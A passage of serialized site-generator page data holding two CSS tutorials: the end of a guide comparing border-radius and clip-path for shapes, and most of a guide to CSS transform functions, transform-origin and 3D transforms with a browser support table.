(",[143,75955,75956],{},"circle()",[143,75958,75959],{},"ellipse()",[199,75961,75962,75965,75967],{},[216,75963,75964],{},"Polygons (triangle, hexagon)",[216,75966,6117],{},[216,75968,3057],{},[199,75970,75971,75974,75977],{},[216,75972,75973],{},"Transition\u002Fanimation",[216,75975,75976],{},"Smooth",[216,75978,57756,75979,75982],{},[143,75980,75981],{},"polygon()"," points",[199,75984,75985,75988,75990],{},[216,75986,75987],{},"Border support",[216,75989,55046],{},[216,75991,75992],{},"None — borders get clipped",[199,75994,75995,75998,76000],{},[216,75996,75997],{},"Box shadow support",[216,75999,55046],{},[216,76001,76002],{},"Shadow gets clipped too",[199,76004,76005,76008,76011],{},[216,76006,76007],{},"Browser support",[216,76009,76010],{},"Excellent",[216,76012,76013],{},"Good (IE11 unsupported)",[16,76015,1388,76016,76018,76019,76021,76022,76024],{},[143,76017,16947],{}," when you need borders, shadows, or curved shapes. Use ",[143,76020,35456],{}," when you need geometric polygons that ",[143,76023,16947],{}," cannot express.",[11,76026,76028],{"id":76027},"hybrid-approach-clip-path-and-border-radius-together","Hybrid Approach: Clip-Path and Border Radius Together",[16,76030,76031,76032,76034,76035,76037],{},"You can combine both properties. ",[143,76033,35456],{}," defines the outer outline; ",[143,76036,16947],{}," smooths the corners inside that outline:",[135,76039,76041],{"className":1554,"code":76040,"language":1556,"meta":141,"style":141},".hybrid-shape {\n  border-radius: 16px;\n  clip-path: polygon(0 0, 100% 0, 100% 85%, 50% 100%, 0 85%);\n}\n",[143,76042,76043,76050,76062,76115],{"__ignoreMap":141},[1560,76044,76045,76048],{"class":1562,"line":1563},[1560,76046,76047],{"class":1566},".hybrid-shape",[1560,76049,1571],{"class":1570},[1560,76051,76052,76054,76056,76058,76060],{"class":1562,"line":337},[1560,76053,17294],{"class":1576},[1560,76055,1663],{"class":1570},[1560,76057,10057],{"class":1576},[1560,76059,1670],{"class":1669},[1560,76061,2228],{"class":1570},[1560,76063,76064,76066,76068,76070,76072,76074,76076,76078,76080,76082,76084,76086,76088,76090,76093,76095,76097,76099,76101,76103,76105,76107,76109,76111,76113],{"class":1562,"line":343},[1560,76065,35842],{"class":1576},[1560,76067,1663],{"class":1570},[1560,76069,35847],{"class":1576},[1560,76071,1688],{"class":1570},[1560,76073,5285],{"class":1576},[1560,76075,13541],{"class":1576},[1560,76077,1459],{"class":1570},[1560,76079,18114],{"class":1576},[1560,76081,17990],{"class":1669},[1560,76083,13541],{"class":1576},[1560,76085,1459],{"class":1570},[1560,76087,18114],{"class":1576},[1560,76089,17990],{"class":1669},[1560,76091,76092],{"class":1576}," 85",[1560,76094,17990],{"class":1669},[1560,76096,1459],{"class":1570},[1560,76098,18059],{"class":1576},[1560,76100,17990],{"class":1669},[1560,76102,35878],{"class":1576},[1560,76104,17990],{"class":1669},[1560,76106,1459],{"class":1570},[1560,76108,5285],{"class":1576},[1560,76110,76092],{"class":1576},[1560,76112,17990],{"class":1669},[1560,76114,1744],{"class":1570},[1560,76116,76117],{"class":1562,"line":365},[1560,76118,1585],{"class":1570},[16,76120,76121,76122,76124,76125,76127],{},"This technique works well for notification banners with angled bottoms or chat bubbles with directional tails. The ",[143,76123,35456],{}," creates the angled cut; ",[143,76126,16947],{}," rounds the remaining corners.",[11,76129,76131],{"id":76130},"browser-considerations","Browser Considerations",[16,76133,76134,76136],{},[143,76135,16947],{}," enjoys universal support across modern browsers. No vendor prefixes needed.",[16,76138,76139,76141,76142,76144],{},[143,76140,35456],{}," is well-supported in Chrome, Firefox, Safari, and Edge — but not in Internet Explorer. If you need IE11 support, provide a ",[143,76143,16947],{}," fallback:",[135,76146,76148],{"className":1554,"code":76147,"language":1556,"meta":141,"style":141},".shape {\n  border-radius: 12px; \u002F* fallback *\u002F\n}\n\n@supports (clip-path: polygon(0 0)) {\n  .shape {\n    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);\n    border-radius: 0; \u002F* remove fallback rounding *\u002F\n  }\n}\n",[143,76149,76150,76157,76171,76175,76179,76200,76207,76278,76291,76295],{"__ignoreMap":141},[1560,76151,76152,76155],{"class":1562,"line":1563},[1560,76153,76154],{"class":1566},".shape",[1560,76156,1571],{"class":1570},[1560,76158,76159,76161,76163,76165,76167,76169],{"class":1562,"line":337},[1560,76160,17294],{"class":1576},[1560,76162,1663],{"class":1570},[1560,76164,13566],{"class":1576},[1560,76166,1670],{"class":1669},[1560,76168,3664],{"class":1570},[1560,76170,5587],{"class":1649},[1560,76172,76173],{"class":1562,"line":343},[1560,76174,1585],{"class":1570},[1560,76176,76177],{"class":1562,"line":365},[1560,76178,1702],{"emptyLinePlaceholder":363},[1560,76180,76181,76183,76185,76187,76189,76191,76193,76195,76197],{"class":1562,"line":889},[1560,76182,51387],{"class":1669},[1560,76184,5181],{"class":1570},[1560,76186,35456],{"class":1576},[1560,76188,1663],{"class":1570},[1560,76190,35847],{"class":1576},[1560,76192,1688],{"class":1570},[1560,76194,5285],{"class":1576},[1560,76196,13541],{"class":1576},[1560,76198,76199],{"class":1570},")) {\n",[1560,76201,76202,76205],{"class":1562,"line":1710},[1560,76203,76204],{"class":1566},"  .shape",[1560,76206,1571],{"class":1570},[1560,76208,76209,76212,76214,76216,76218,76220,76222,76224,76226,76228,76230,76232,76234,76236,76238,76240,76242,76244,76246,76248,76250,76252,76254,76256,76258,76260,76262,76264,76266,76268,76270,76272,76274,76276],{"class":1562,"line":1717},[1560,76210,76211],{"class":1576},"    clip-path",[1560,76213,1663],{"class":1570},[1560,76215,35847],{"class":1576},[1560,76217,1688],{"class":1570},[1560,76219,18059],{"class":1576},[1560,76221,17990],{"class":1669},[1560,76223,13541],{"class":1576},[1560,76225,17990],{"class":1669},[1560,76227,1459],{"class":1570},[1560,76229,18114],{"class":1576},[1560,76231,17990],{"class":1669},[1560,76233,75697],{"class":1576},[1560,76235,17990],{"class":1669},[1560,76237,1459],{"class":1570},[1560,76239,18114],{"class":1576},[1560,76241,17990],{"class":1669},[1560,76243,75708],{"class":1576},[1560,76245,17990],{"class":1669},[1560,76247,1459],{"class":1570},[1560,76249,18059],{"class":1576},[1560,76251,17990],{"class":1669},[1560,76253,35878],{"class":1576},[1560,76255,17990],{"class":1669},[1560,76257,1459],{"class":1570},[1560,76259,5285],{"class":1576},[1560,76261,17990],{"class":1669},[1560,76263,75708],{"class":1576},[1560,76265,17990],{"class":1669},[1560,76267,1459],{"class":1570},[1560,76269,5285],{"class":1576},[1560,76271,17990],{"class":1669},[1560,76273,75697],{"class":1576},[1560,76275,17990],{"class":1669},[1560,76277,1744],{"class":1570},[1560,76279,76280,76282,76284,76286,76288],{"class":1562,"line":1747},[1560,76281,46434],{"class":1576},[1560,76283,1663],{"class":1570},[1560,76285,5285],{"class":1576},[1560,76287,3664],{"class":1570},[1560,76289,76290],{"class":1649},"\u002F* remove fallback rounding *\u002F\n",[1560,76292,76293],{"class":1562,"line":2507},[1560,76294,4959],{"class":1570},[1560,76296,76297],{"class":1562,"line":2524},[1560,76298,1585],{"class":1570},[16,76300,421,76301,76303,76304,76306],{},[143,76302,51387],{}," rule detects ",[143,76305,35456],{}," support and swaps the shape only when it works.",[11,76308,76310],{"id":76309},"accessibility-reminders","Accessibility Reminders",[16,76312,76313],{},"Decorative shapes must not interfere with usability:",[41,76315,76316,76322,76329],{},[44,76317,59390,76318,76321],{},[143,76319,76320],{},"aria-hidden=\"true\""," to decorative blobs — screen readers should skip them",[44,76323,76324,76325,76328],{},"Wrap shape animations in a ",[143,76326,76327],{},"prefers-reduced-motion"," query — continuous morphing can trigger vestibular issues",[44,76330,76331],{},"Verify contrast between overlapping shapes and text at every animation frame",[135,76333,76335],{"className":1554,"code":76334,"language":1556,"meta":141,"style":141},"@media (prefers-reduced-motion: reduce) {\n  .animated-shape {\n    animation: none;\n  }\n}\n",[143,76336,76337,76343,76350,76361,76365],{"__ignoreMap":141},[1560,76338,76339,76341],{"class":1562,"line":1563},[1560,76340,17186],{"class":1669},[1560,76342,45321],{"class":1570},[1560,76344,76345,76348],{"class":1562,"line":337},[1560,76346,76347],{"class":1566},"  .animated-shape",[1560,76349,1571],{"class":1570},[1560,76351,76352,76355,76357,76359],{"class":1562,"line":343},[1560,76353,76354],{"class":1576},"    animation",[1560,76356,1663],{"class":1570},[1560,76358,24609],{"class":1576},[1560,76360,2228],{"class":1570},[1560,76362,76363],{"class":1562,"line":365},[1560,76364,4959],{"class":1570},[1560,76366,76367],{"class":1562,"line":889},[1560,76368,1585],{"class":1570},[11,76370,1355],{"id":1354},[41,76372,76373,76376,76379,76389,76397,76405,76413,76420,76431],{},[44,76374,76375],{},"Three rounded corners + one sharp corner = leaf shape; rotate it for a droplet",[44,76377,76378],{},"Rotate a square 45° for a diamond — counter-rotate inner text to keep it upright",[44,76380,76381,76382,12674,76384,1856,76386,76388],{},"Pair ",[143,76383,16947],{},[143,76385,44900],{},[143,76387,75258],{}," for clean circular images",[44,76390,76391,76392,14237,76394,76396],{},"Gradient borders require the ",[143,76393,56764],{},[143,76395,56782],{}," background layering technique",[44,76398,1388,76399,76401,76402,76404],{},[143,76400,35456],{}," for polygons ",[143,76403,16947],{}," cannot create (triangles, hexagons, stars)",[44,76406,76407,76409,76410,76412],{},[143,76408,35456],{}," clips borders and shadows — choose ",[143,76411,16947],{}," when you need them",[44,76414,20246,76415,1856,76417,76419],{},[143,76416,35456],{},[143,76418,16947],{}," for hybrid shapes with mixed edges",[44,76421,76422,76423,76425,76426,34247,76428,76430],{},"Provide ",[143,76424,16947],{}," fallbacks inside ",[143,76427,51387],{},[143,76429,35456],{}," if IE11 matters",[44,76432,76433],{},"Always add reduced-motion fallbacks for animated shapes",[11,76435,286],{"id":285},[16,76437,76438,76439,76441,76442,76444],{},"Build and preview rounded corner shapes interactively with our ",[98,76440,17644],{"href":17643},". Create gradient backgrounds for your shapes using the ",[98,76443,18583],{"href":18582}," — then copy both rules into your project.",[2043,76446,76447],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":76449},[76450,76451,76454,76455,76459,76463,76466,76467,76468,76469,76470],{"id":74826,"depth":337,"text":74827},{"id":74844,"depth":337,"text":74845,"children":76452},[76453],{"id":74944,"depth":343,"text":74945},{"id":75013,"depth":337,"text":75014},{"id":75128,"depth":337,"text":75129,"children":76456},[76457,76458],{"id":75252,"depth":343,"text":75253},{"id":75308,"depth":343,"text":75309},{"id":75356,"depth":337,"text":75357,"children":76460},[76461,76462],{"id":75477,"depth":343,"text":75478},{"id":75535,"depth":343,"text":75536},{"id":75649,"depth":337,"text":75650,"children":76464},[76465],{"id":75928,"depth":343,"text":75929},{"id":76027,"depth":337,"text":76028},{"id":76130,"depth":337,"text":76131},{"id":76309,"depth":337,"text":76310},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Create creative shapes using border-radius, borders, and CSS properties beyond simple rectangles.",{"immutable":363},{"title":18605,"description":76471},"guides\u002Fcss-shapes-and-borders","nitlKdK30p7gFZx37l4tBwwjZjtCoGuI0AszWAE94iU",{"id":76477,"title":2029,"body":76478,"date":2070,"description":77354,"extension":361,"meta":77355,"navigation":363,"path":2028,"readingTime":1710,"seo":77356,"stem":77357,"__hash__":77358},"guides\u002Fguides\u002Fcss-transform-guide.md",{"type":8,"value":76479,"toc":77336},[76480,76484,76487,76490,76519,76523,76526,76530,76536,76579,76593,76597,76603,76632,76656,76660,76666,76723,76729,76733,76739,76768,76771,76775,76782,76801,76807,76811,76814,76843,76850,76855,76859,76865,76914,76920,76923,76931,76976,77036,77042,77046,77063,77142,77148,77150,77153,77212,77222,77265,77267,77311,77313,77319,77321,77333],[11,76481,76483],{"id":76482},"what-is-css-transform","What Is CSS Transform?",[16,76485,76486],{},"CSS transforms let you move, rotate, scale, and skew elements without affecting the document flow. The element stays in its original position for layout purposes — only its visual rendering changes.",[16,76488,76489],{},"This means you can animate a button hover, flip a card, or zoom an image without causing the rest of the page to reflow.",[135,76491,76493],{"className":1554,"code":76492,"language":1556,"meta":141,"style":141},".card:hover {\n  transform: scale(1.05);\n}\n",[143,76494,76495,76501,76515],{"__ignoreMap":141},[1560,76496,76497,76499],{"class":1562,"line":1563},[1560,76498,18745],{"class":1566},[1560,76500,1571],{"class":1570},[1560,76502,76503,76505,76507,76509,76511,76513],{"class":1562,"line":337},[1560,76504,1720],{"class":1576},[1560,76506,1663],{"class":1570},[1560,76508,45137],{"class":1576},[1560,76510,1688],{"class":1570},[1560,76512,45142],{"class":1576},[1560,76514,1744],{"class":1570},[1560,76516,76517],{"class":1562,"line":343},[1560,76518,1585],{"class":1570},[11,76520,76522],{"id":76521},"_2d-transform-functions","2D Transform Functions",[16,76524,76525],{},"CSS provides five core 2D transform functions. Each one manipulates the element in a specific way.",[33,76527,76529],{"id":76528},"translate-move-it","translate — Move It",[16,76531,76532,76535],{},[143,76533,76534],{},"translate()"," shifts an element along the X and Y axes. You can specify one value (X only) or two (X and Y).",[135,76537,76539],{"className":1554,"code":76538,"language":1556,"meta":141,"style":141},"\u002F* Move right 20px and down 10px *\u002F\ntransform: translate(20px, 10px);\n\n\u002F* Move right 50% of the element's own width *\u002F\ntransform: translateX(50%);\n\n\u002F* Move up 30px *\u002F\ntransform: translateY(-30px);\n",[143,76540,76541,76546,76551,76555,76560,76565,76569,76574],{"__ignoreMap":141},[1560,76542,76543],{"class":1562,"line":1563},[1560,76544,76545],{"class":1649},"\u002F* Move right 20px and down 10px *\u002F\n",[1560,76547,76548],{"class":1562,"line":337},[1560,76549,76550],{"class":1570},"transform: translate(20px, 10px);\n",[1560,76552,76553],{"class":1562,"line":343},[1560,76554,1702],{"emptyLinePlaceholder":363},[1560,76556,76557],{"class":1562,"line":365},[1560,76558,76559],{"class":1649},"\u002F* Move right 50% of the element's own width *\u002F\n",[1560,76561,76562],{"class":1562,"line":889},[1560,76563,76564],{"class":1570},"transform: translateX(50%);\n",[1560,76566,76567],{"class":1562,"line":1710},[1560,76568,1702],{"emptyLinePlaceholder":363},[1560,76570,76571],{"class":1562,"line":1717},[1560,76572,76573],{"class":1649},"\u002F* Move up 30px *\u002F\n",[1560,76575,76576],{"class":1562,"line":1747},[1560,76577,76578],{"class":1570},"transform: translateY(-30px);\n",[16,76580,76581,76582,76585,76586,76589,76590,76592],{},"Using percentages in ",[143,76583,76584],{},"translate"," is relative to the element itself — not the parent. That makes ",[143,76587,76588],{},"translate(-50%, -50%)"," plus ",[143,76591,67578],{}," a reliable way to center an element.",[33,76594,76596],{"id":76595},"rotate-spin-it","rotate — Spin It",[16,76598,76599,76602],{},[143,76600,76601],{},"rotate()"," turns an element around its center point. Positive values spin clockwise; negative values spin counter-clockwise.",[135,76604,76606],{"className":1554,"code":76605,"language":1556,"meta":141,"style":141},"\u002F* Rotate 45 degrees clockwise *\u002F\ntransform: rotate(45deg);\n\n\u002F* Rotate 90 degrees counter-clockwise *\u002F\ntransform: rotate(-90deg);\n",[143,76607,76608,76613,76618,76622,76627],{"__ignoreMap":141},[1560,76609,76610],{"class":1562,"line":1563},[1560,76611,76612],{"class":1649},"\u002F* Rotate 45 degrees clockwise *\u002F\n",[1560,76614,76615],{"class":1562,"line":337},[1560,76616,76617],{"class":1570},"transform: rotate(45deg);\n",[1560,76619,76620],{"class":1562,"line":343},[1560,76621,1702],{"emptyLinePlaceholder":363},[1560,76623,76624],{"class":1562,"line":365},[1560,76625,76626],{"class":1649},"\u002F* Rotate 90 degrees counter-clockwise *\u002F\n",[1560,76628,76629],{"class":1562,"line":889},[1560,76630,76631],{"class":1570},"transform: rotate(-90deg);\n",[16,76633,76634,76635,1459,76637,1459,76639,1877,76642,76644,76645,1459,76647,1459,76650,1877,76653,468],{},"Angles use ",[143,76636,1694],{},[143,76638,53508],{},[143,76640,76641],{},"grad",[143,76643,53511],{}," units. A full rotation is ",[143,76646,53496],{},[143,76648,76649],{},"2π rad",[143,76651,76652],{},"400grad",[143,76654,76655],{},"1turn",[33,76657,76659],{"id":76658},"scale-resize-it","scale — Resize It",[16,76661,76662,76665],{},[143,76663,76664],{},"scale()"," changes the size of an element. Values below 1 shrink, above 1 grow, and 1 means no change.",[135,76667,76669],{"className":1554,"code":76668,"language":1556,"meta":141,"style":141},"\u002F* Scale up 20% *\u002F\ntransform: scale(1.2);\n\n\u002F* Scale X 150%, Y 80% *\u002F\ntransform: scaleX(1.5) scaleY(0.8);\n\n\u002F* Flip horizontally *\u002F\ntransform: scaleX(-1);\n",[143,76670,76671,76676,76685,76689,76694,76709,76713,76718],{"__ignoreMap":141},[1560,76672,76673],{"class":1562,"line":1563},[1560,76674,76675],{"class":1649},"\u002F* Scale up 20% *\u002F\n",[1560,76677,76678,76681,76683],{"class":1562,"line":337},[1560,76679,76680],{"class":1570},"transform: scale(1",[1560,76682,57850],{"class":1566},[1560,76684,1744],{"class":1570},[1560,76686,76687],{"class":1562,"line":343},[1560,76688,1702],{"emptyLinePlaceholder":363},[1560,76690,76691],{"class":1562,"line":365},[1560,76692,76693],{"class":1649},"\u002F* Scale X 150%, Y 80% *\u002F\n",[1560,76695,76696,76699,76702,76705,76707],{"class":1562,"line":889},[1560,76697,76698],{"class":1570},"transform: scaleX(1",[1560,76700,76701],{"class":1566},".5",[1560,76703,76704],{"class":1570},") scaleY(0",[1560,76706,5168],{"class":1566},[1560,76708,1744],{"class":1570},[1560,76710,76711],{"class":1562,"line":1710},[1560,76712,1702],{"emptyLinePlaceholder":363},[1560,76714,76715],{"class":1562,"line":1717},[1560,76716,76717],{"class":1649},"\u002F* Flip horizontally *\u002F\n",[1560,76719,76720],{"class":1562,"line":1747},[1560,76721,76722],{"class":1570},"transform: scaleX(-1);\n",[16,76724,76725,76726,76728],{},"A negative ",[143,76727,45137],{}," value mirrors the element along that axis — handy for flip animations.",[33,76730,76732],{"id":76731},"skew-tilt-it","skew — Tilt It",[16,76734,76735,76738],{},[143,76736,76737],{},"skew()"," slants an element along the X or Y axis, creating a parallelogram effect.",[135,76740,76742],{"className":1554,"code":76741,"language":1556,"meta":141,"style":141},"\u002F* Skew 15 degrees on X axis *\u002F\ntransform: skewX(15deg);\n\n\u002F* Skew both axes *\u002F\ntransform: skew(10deg, 5deg);\n",[143,76743,76744,76749,76754,76758,76763],{"__ignoreMap":141},[1560,76745,76746],{"class":1562,"line":1563},[1560,76747,76748],{"class":1649},"\u002F* Skew 15 degrees on X axis *\u002F\n",[1560,76750,76751],{"class":1562,"line":337},[1560,76752,76753],{"class":1570},"transform: skewX(15deg);\n",[1560,76755,76756],{"class":1562,"line":343},[1560,76757,1702],{"emptyLinePlaceholder":363},[1560,76759,76760],{"class":1562,"line":365},[1560,76761,76762],{"class":1649},"\u002F* Skew both axes *\u002F\n",[1560,76764,76765],{"class":1562,"line":889},[1560,76766,76767],{"class":1570},"transform: skew(10deg, 5deg);\n",[16,76769,76770],{},"Skew transforms are uncommon in production UIs but useful for creative effects and decorative elements.",[33,76772,76774],{"id":76773},"matrix-the-universal-function","matrix — The Universal Function",[16,76776,76777,76778,76781],{},"Every 2D transform can be expressed as a single ",[143,76779,76780],{},"matrix()"," call with six parameters:",[135,76783,76785],{"className":1554,"code":76784,"language":1556,"meta":141,"style":141},"transform: matrix(a, b, c, d, tx, ty);\n",[143,76786,76787],{"__ignoreMap":141},[1560,76788,76789,76792,76794,76796,76798],{"class":1562,"line":1563},[1560,76790,76791],{"class":1570},"transform: matrix(",[1560,76793,98],{"class":2484},[1560,76795,1459],{"class":1570},[1560,76797,28973],{"class":2484},[1560,76799,76800],{"class":1570},", c, d, tx, ty);\n",[16,76802,76803,76804,76806],{},"You rarely write ",[143,76805,76780],{}," by hand — browsers convert your transforms into it internally. But understanding it helps when reading computed styles in DevTools.",[11,76808,76810],{"id":76809},"order-of-operations-matters","Order of Operations Matters",[16,76812,76813],{},"Transforms apply in the order you write them — and the result changes depending on that order.",[135,76815,76817],{"className":1554,"code":76816,"language":1556,"meta":141,"style":141},"\u002F* Rotate first, then translate *\u002F\ntransform: rotate(45deg) translateX(100px);\n\n\u002F* Translate first, then rotate *\u002F\ntransform: translateX(100px) rotate(45deg);\n",[143,76818,76819,76824,76829,76833,76838],{"__ignoreMap":141},[1560,76820,76821],{"class":1562,"line":1563},[1560,76822,76823],{"class":1649},"\u002F* Rotate first, then translate *\u002F\n",[1560,76825,76826],{"class":1562,"line":337},[1560,76827,76828],{"class":1570},"transform: rotate(45deg) translateX(100px);\n",[1560,76830,76831],{"class":1562,"line":343},[1560,76832,1702],{"emptyLinePlaceholder":363},[1560,76834,76835],{"class":1562,"line":365},[1560,76836,76837],{"class":1649},"\u002F* Translate first, then rotate *\u002F\n",[1560,76839,76840],{"class":1562,"line":889},[1560,76841,76842],{"class":1570},"transform: translateX(100px) rotate(45deg);\n",[16,76844,76845,76846,76849],{},"In the first example, the element rotates in place, then moves 100px along the ",[7310,76847,76848],{},"rotated"," X axis. In the second, it moves 100px along the original X axis, then rotates around its center at the new position.",[16,76851,76852,76854],{},[47,76853,7247],{}," Write transforms from inside out. The last function in the list applies first visually.",[11,76856,76858],{"id":76857},"combining-multiple-transforms","Combining Multiple Transforms",[16,76860,76861,76862,76864],{},"You can chain as many functions as needed in a single ",[143,76863,1514],{}," declaration:",[135,76866,76868],{"className":1554,"code":76867,"language":1556,"meta":141,"style":141},".card:hover {\n  transform: translateX(10px) rotate(3deg) scale(1.05);\n}\n",[143,76869,76870,76876,76910],{"__ignoreMap":141},[1560,76871,76872,76874],{"class":1562,"line":1563},[1560,76873,18745],{"class":1566},[1560,76875,1571],{"class":1570},[1560,76877,76878,76880,76882,76884,76886,76888,76890,76892,76894,76896,76898,76900,76902,76904,76906,76908],{"class":1562,"line":337},[1560,76879,1720],{"class":1576},[1560,76881,1663],{"class":1570},[1560,76883,66401],{"class":1576},[1560,76885,1688],{"class":1570},[1560,76887,36197],{"class":1576},[1560,76889,1670],{"class":1669},[1560,76891,1733],{"class":1570},[1560,76893,35461],{"class":1576},[1560,76895,1688],{"class":1570},[1560,76897,17821],{"class":1576},[1560,76899,1694],{"class":1669},[1560,76901,1733],{"class":1570},[1560,76903,45137],{"class":1576},[1560,76905,1688],{"class":1570},[1560,76907,45142],{"class":1576},[1560,76909,1744],{"class":1570},[1560,76911,76912],{"class":1562,"line":343},[1560,76913,1585],{"class":1570},[16,76915,76916,76917,76919],{},"Avoid setting ",[143,76918,1514],{}," in multiple rules that might override each other. Always combine your transforms in one declaration.",[11,76921,76922],{"id":76922},"transform-origin",[16,76924,76925,76927,76928,76930],{},[143,76926,76922],{}," sets the pivot point for all transform operations. The default value is ",[143,76929,60094],{}," (50% 50%), but you can shift it.",[135,76932,76934],{"className":1554,"code":76933,"language":1556,"meta":141,"style":141},"\u002F* Rotate from top-left corner *\u002F\ntransform-origin: top left;\ntransform: rotate(45deg);\n\n\u002F* Scale from bottom center *\u002F\ntransform-origin: bottom center;\ntransform: scale(1.5);\n",[143,76935,76936,76941,76948,76952,76956,76961,76968],{"__ignoreMap":141},[1560,76937,76938],{"class":1562,"line":1563},[1560,76939,76940],{"class":1649},"\u002F* Rotate from top-left corner *\u002F\n",[1560,76942,76943,76945],{"class":1562,"line":337},[1560,76944,76922],{"class":2484},[1560,76946,76947],{"class":1570},": top left;\n",[1560,76949,76950],{"class":1562,"line":343},[1560,76951,76617],{"class":1570},[1560,76953,76954],{"class":1562,"line":365},[1560,76955,1702],{"emptyLinePlaceholder":363},[1560,76957,76958],{"class":1562,"line":889},[1560,76959,76960],{"class":1649},"\u002F* Scale from bottom center *\u002F\n",[1560,76962,76963,76965],{"class":1562,"line":1710},[1560,76964,76922],{"class":2484},[1560,76966,76967],{"class":1570},": bottom center;\n",[1560,76969,76970,76972,76974],{"class":1562,"line":1717},[1560,76971,76680],{"class":1570},[1560,76973,76701],{"class":1566},[1560,76975,1744],{"class":1570},[193,76977,76978,76986],{},[196,76979,76980],{},[199,76981,76982,76984],{},[202,76983,1769],{},[202,76985,29641],{},[211,76987,76988,76997,77006,77016,77026],{},[199,76989,76990,76994],{},[216,76991,76992,61823],{},[143,76993,32199],{},[216,76995,76996],{},"Pivot from midpoint",[199,76998,76999,77003],{},[216,77000,77001],{},[143,77002,60091],{},[216,77004,77005],{},"Pivot from top-left corner",[199,77007,77008,77013],{},[216,77009,77010],{},[143,77011,77012],{},"bottom right",[216,77014,77015],{},"Pivot from bottom-right corner",[199,77017,77018,77023],{},[216,77019,77020],{},[143,77021,77022],{},"50% 0%",[216,77024,77025],{},"Pivot from top-center",[199,77027,77028,77033],{},[216,77029,77030],{},[143,77031,77032],{},"0px 100px",[216,77034,77035],{},"Pivot from exact coordinate",[16,77037,77038,77039,77041],{},"Changing ",[143,77040,76922],{}," is critical for realistic animations. A door swings from its hinge — not its center. A card flips from its left edge — not its midpoint.",[11,77043,77045],{"id":77044},"_3d-transforms-brief-overview","3D Transforms (Brief Overview)",[16,77047,77048,77049,1459,77051,1459,77053,1459,77055,1459,77058,1466,77060,468],{},"CSS also supports 3D transforms with ",[143,77050,1469],{},[143,77052,1458],{},[143,77054,1462],{},[143,77056,77057],{},"rotateZ",[143,77059,1465],{},[143,77061,77062],{},"scaleZ",[135,77064,77066],{"className":1554,"code":77065,"language":1556,"meta":141,"style":141},"\u002F* Enable 3D context on parent *\u002F\n.card-container {\n  perspective: 800px;\n}\n\n\u002F* Flip card on hover *\u002F\n.card:hover {\n  transform: rotateY(180deg);\n  transition: transform 0.6s;\n}\n",[143,77067,77068,77073,77079,77091,77095,77099,77104,77110,77126,77138],{"__ignoreMap":141},[1560,77069,77070],{"class":1562,"line":1563},[1560,77071,77072],{"class":1649},"\u002F* Enable 3D context on parent *\u002F\n",[1560,77074,77075,77077],{"class":1562,"line":337},[1560,77076,43986],{"class":1566},[1560,77078,1571],{"class":1570},[1560,77080,77081,77083,77085,77087,77089],{"class":1562,"line":343},[1560,77082,43703],{"class":1576},[1560,77084,1663],{"class":1570},[1560,77086,1666],{"class":1576},[1560,77088,1670],{"class":1669},[1560,77090,2228],{"class":1570},[1560,77092,77093],{"class":1562,"line":365},[1560,77094,1585],{"class":1570},[1560,77096,77097],{"class":1562,"line":889},[1560,77098,1702],{"emptyLinePlaceholder":363},[1560,77100,77101],{"class":1562,"line":1710},[1560,77102,77103],{"class":1649},"\u002F* Flip card on hover *\u002F\n",[1560,77105,77106,77108],{"class":1562,"line":1717},[1560,77107,18745],{"class":1566},[1560,77109,1571],{"class":1570},[1560,77111,77112,77114,77116,77118,77120,77122,77124],{"class":1562,"line":1747},[1560,77113,1720],{"class":1576},[1560,77115,1663],{"class":1570},[1560,77117,1462],{"class":1576},[1560,77119,1688],{"class":1570},[1560,77121,35584],{"class":1576},[1560,77123,1694],{"class":1669},[1560,77125,1744],{"class":1570},[1560,77127,77128,77130,77132,77134,77136],{"class":1562,"line":2507},[1560,77129,18718],{"class":1576},[1560,77131,19594],{"class":1570},[1560,77133,44082],{"class":1576},[1560,77135,18727],{"class":1669},[1560,77137,2228],{"class":1570},[1560,77139,77140],{"class":1562,"line":2524},[1560,77141,1585],{"class":1570},[16,77143,77144,77145,77147],{},"Setting ",[143,77146,1469],{}," on the parent creates depth — elements farther from the viewer appear smaller. Without it, 3D transforms project flat onto the screen.",[11,77149,5512],{"id":5511},[16,77151,77152],{},"CSS 2D transforms enjoy universal support across all modern browsers. 3D transforms are equally well-supported.",[193,77154,77155,77169],{},[196,77156,77157],{},[199,77158,77159,77161,77163,77165,77167],{},[202,77160,5867],{},[202,77162,5534],{},[202,77164,5542],{},[202,77166,5550],{},[202,77168,5558],{},[211,77170,77171,77185,77198],{},[199,77172,77173,77176,77179,77181,77183],{},[216,77174,77175],{},"2D transforms",[216,77177,77178],{},"36+",[216,77180,66981],{},[216,77182,57975],{},[216,77184,57942],{},[199,77186,77187,77190,77192,77194,77196],{},[216,77188,77189],{},"3D transforms",[216,77191,77178],{},[216,77193,66981],{},[216,77195,57975],{},[216,77197,57942],{},[199,77199,77200,77203,77206,77208,77210],{},[216,77201,77202],{},"Individual transform properties",[216,77204,77205],{},"104+",[216,77207,57972],{},[216,77209,66997],{},[216,77211,77205],{},[16,77213,77214,77215,1459,77217,1459,77219,77221],{},"The newer individual transform properties (",[143,77216,76584],{},[143,77218,35461],{},[143,77220,45137],{}," as standalone CSS properties) simplify code and improve animation performance but lack support in older 